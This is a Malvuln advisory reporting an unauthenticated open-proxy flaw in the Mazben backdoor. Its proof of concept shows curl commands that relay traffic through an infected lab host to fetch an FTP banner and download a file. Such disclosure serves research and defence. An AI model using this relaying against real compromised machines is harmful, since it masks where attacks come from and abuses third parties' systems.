Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/fcd611ccbc756fab43761f4b18372b81.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Mazben.es Vulnerability: Unauthenticated Open Proxy Description: The malware listens on random TCP ports like 2608, 6751, 3087, 5947. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host. Type: PE32 MD5: fcd611ccbc756fab43761f4b18372b81 Vuln ID: MVID-2021-0377 Disclosure: 10/27/2021 Exploit/PoC: curl -x http://192.168.18.125:6751 http://192.168.18.128:21 220 INetSim FTP Service ready. curl -x http://192.168.18.125:6751 http://192.168.18.128/DOOM.exe --output DOOM.exe % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 24576 100 24576 0 0 24576 0 0:00:01 --:--:-- 0:00:01 307k Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).